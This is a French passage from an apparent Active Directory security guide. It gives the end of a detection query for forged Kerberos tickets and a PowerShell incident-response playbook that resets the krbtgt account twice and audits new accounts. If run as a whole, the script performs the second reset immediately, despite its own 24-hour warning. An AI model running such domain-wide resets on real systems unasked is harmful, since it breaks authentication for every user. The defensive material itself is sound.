| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled